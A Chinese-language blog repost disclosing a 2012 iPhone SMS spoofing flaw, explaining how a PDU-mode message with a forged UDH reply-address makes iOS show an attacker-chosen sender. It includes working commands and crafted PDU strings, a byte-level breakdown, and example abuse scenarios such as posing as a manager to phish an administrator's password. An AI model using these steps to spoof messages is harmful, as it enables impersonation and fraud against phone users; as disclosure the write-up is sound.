iPhone 短信欺骗漏洞披露,伪造短信号码、自定义短信手机号
警告:禁止利用文中提到的內容、原理發布任何漏洞利用工具,后果自負。
(國內騙子都那么多了,大家都積點德吧)
漏洞簡介:
4天前Pod2g發文Never?trust?SMS:?iOS?text?spoofin
http://pod2g-ios.blogspot.com/2012/08/never-trust-sms-ios-text-spoofing.html
該漏洞能影響所有iOS?版本包括最新的iOS?6?beta?4。
并發布利用程序:https://github.com/pod2g/sendrawpdu/,但這個并不是可利用的工具,只是一個使用命令行模式下PDU模式發送SMS的工具,其中的欺騙代碼沒有給出。而且此類工具很多,并且這個程序也只是由sendmodem?http://code.google.com/p/iphone-elite/修改而來。
?
漏洞描述:
發送短信常用兩種模式Text(文本)和PDU(Protocol?Data?Unit,協議數據單元)模式,此漏洞通過PDU模式發送SMS,并在UDH?(User?Data?Header)中插入自定義回復地址的號碼。這樣構造出來的SMS后發給iPhone用戶,在iPhone短信應用里收到的SMS?,來源就是自定義過的“回復地址”號碼,并且當iPhone用戶回復的時候,也會直接回復到這個自定義的號碼而不會給真實的發送者回復。
漏洞影響:
在國內的話,會被各種垃圾短信、詐騙團伙等利用,還有更邪惡的社會工程學。
案例1:偽造一個目標用戶的朋友號碼,發一些絕交的內容。
案例2:給某個公司的網站管理員發送獲取密碼的短信,并偽裝成該公司領導手機號,短信中明確指出在外邊不方便,要將密碼發送到xxxx@xxx.com?,勿回短信。
漏洞防御:
蘋果目前沒有修補該漏洞,以后會不會,我覺得會根據漏洞利用的廣泛程度。有人說開啟iMessage可以防御?但測試依然可以利用漏洞。個人用戶如何御?我遵循五不原則:不聽、不看、不信、不轉帳、不匯款(沒錯就是銀行ATM機邊上天天播放的那段…..),有條件的同學可以暫時換個手機,目前安卓、Nokia等系列非iOS系統并沒有發現該問題,如果有人測試安卓或其他系統存在該問題請給出手機型號、系統版本,方便預警。
漏洞利用過程:
繁瑣的AT操作SIM命令和PDU的內容不說了,相關文章也很多。如?http://hi.baidu.com/shadowex/item/629b32549c2696beacc857c1
翻閱3GPP標準中SMS部分http://www.3gpp.org/ftp/Specs/html-info/23040.htm隨便找個09年或者最新的都可以。
其中有一段提到回復地址會被濫用
NOTE:??????Despite?the?fact?that?MMI?aspects?of?the?ME?are?out?of?the?scope?of?the?present?document,?it?must?be?mentioned?that?this?mechanism?might?open?the?door?to?potential?abuse.?It?is?desirable?that?the?user?is?made?aware?in?some?way?that?the?reply?address?of?the?incoming?message?is?different?from?the?originator’s?one,?and?that?the?user?is?presented?with?the?original?TP-OA?address?to?identify?the?sender?of?the?SM?.
UDH各位置標識,其中22就是利用關鍵的地方。
當知道了原理之后,我們就可以利用Baseband命令直接操作SIM?,以PDU模式發送SMS.如果手頭沒有其他工具就先編譯sendrawpdu,我的XCODE版本有問題,無法編譯,直接將main.c扔到iPhone里編譯(之前已存在編譯環境gcc、頭文件等),代碼需要小改動。
代碼編譯完后
gcc?-o?raw?main.c
運行如下
root#?./raw
usage:?./raw?<pdu?data>
直接把生成的PDU傳入程序。PDU的Encode和Decode網上代碼、程序都很多。如?http://rednaxela.net/pdu.php
root#./raw?0001000791680180F60004027965
等待一會過程比較慢長。(該段PDU的含義是給10086發送內容為ye的短信,正常短信)
發送成功后,測試插入UDH,剛開始研究對UDH還不太熟悉,搜了下現成的工具目前只有那么一款支持插入UDH(google能搜到這里不提了),生成PDU時加上UDH自定義的回復地址,再次測試
root#./raw 0041000B813108108300F0000807004F60597D554A
(這條PDU含義為給13800138000發送”你好啊”,正常短信)
root#./raw 0041000B813108108300F000080E07220505800110F04F60597D554A
(這條PDU含義為給13800138000發送”你好啊”,并且UDH的回復地址修改成10010)
這樣13800138000的iPhone用戶,就會收到一條10010發來的”你好啊”短信。
UDH各標識的具體值為:
USER?DATA?LENGTH?:?14?octets,?7?UCS2?chars
UDH?LENGTH?:?7?octets
UDH?:?22?05?05?80?01?10?F0
UDH?ELEMENTS?:?22?-?Reply?Address?Element
5?(0×05)?Bytes?Information?Element
Answer?to?10010
USER?DATA?(TEXT)?:?<CJK?Unified?Ideographs>
你好啊
4F?60?59?7D?55?4A
以下是我給自己發的測試。
這里的10086就是UDH中的回復地址,被iPhone識別成發信者了。
相關漏洞:
2008年的時候ITSX的研究員就發現過,因PDU畸形數據而導致的dos問題,使用者接收到畸形數據的SMS就會導致系統崩潰。當時影響諾基亞3310、3330、6210系列手機。
轉載于:https://www.cnblogs.com/invade/archive/2012/08/25/2655756.html
總結
以上是生活随笔為你收集整理的iPhone 短信欺骗漏洞披露,伪造短信号码、自定义短信手机号的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【毕设教程】单片机RFID模块的使用 -
- 下一篇: 大中型 UGC 平台的反垃圾(anti-